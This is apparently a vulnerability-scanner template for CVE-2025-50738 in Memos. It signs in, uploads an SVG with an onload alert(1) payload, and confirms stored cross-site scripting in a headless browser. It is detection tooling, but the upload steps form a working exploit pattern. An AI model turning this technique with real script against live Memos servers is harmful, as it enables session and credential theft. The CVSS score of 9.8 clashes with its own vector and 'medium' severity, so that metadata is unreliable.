Memos < 0.25.0 - Stored Cross-Site Scripting

id: CVE-2025-50738

info:
  name: Memos < 0.25.0 - Stored Cross-Site Scripting
  author: SeongHyeonJeon[nukunga]
  severity: medium
  description: |
    An authenticated attacker can upload a specially crafted SVG file containing JavaScript code to Memos versions prior to 0.25.0, leading to a stored cross-site scripting (XSS) vulnerability.
  impact: |
    Authenticated attackers can upload malicious SVG files containing JavaScript code that executes in other users' browsers when they view the uploaded content, potentially stealing session tokens, credentials, or performing unauthorized actions on behalf of victims.
  remediation: |
    Update Memos to version 0.25.0 or later that properly sanitizes SVG file uploads and prevents JavaScript execution.
  reference:
    - https://github.com/usememos/memos/issues/4707
    - https://github.com/advisories/GHSA-hfcf-79gh-f3jc
    - https://nvd.nist.gov/vuln/detail/CVE-2025-50738
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 9.8
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 3
  tags: cve,cve2025,xss,memos,authenticated,headless,vuln

variables:
  username: "{{username}}"
  password: "{{password}}"
  filename: "{{rand_base(8)}}"

http:
  - raw:
      - |
        POST /api/v1/auth/signin?username={{username}}&password={{password}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

      - |
        POST /api/v1/resources HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "filename": "{{filename}}.svg",
          "content": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIG9ubG9hZD0iYWxlcnQoMSkiPjwvc3ZnPg==",
          "type": "image/svg+xml"
        }

    extractors:
      - type: regex
        name: resource_id
        internal: true
        part: body
        group: 1
        regex:
          - '"name":"resources/([A-Za-z0-9]+)"'

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}/file/resources/{{resource_id}}/{{filename}}.svg"

      - action: waitdialog
        name: xss_alert

    matchers:
      - type: dsl
        dsl:
          - xss_alert == true
          - xss_alert_message == "1"
          - xss_alert_type == "alert"
        condition: and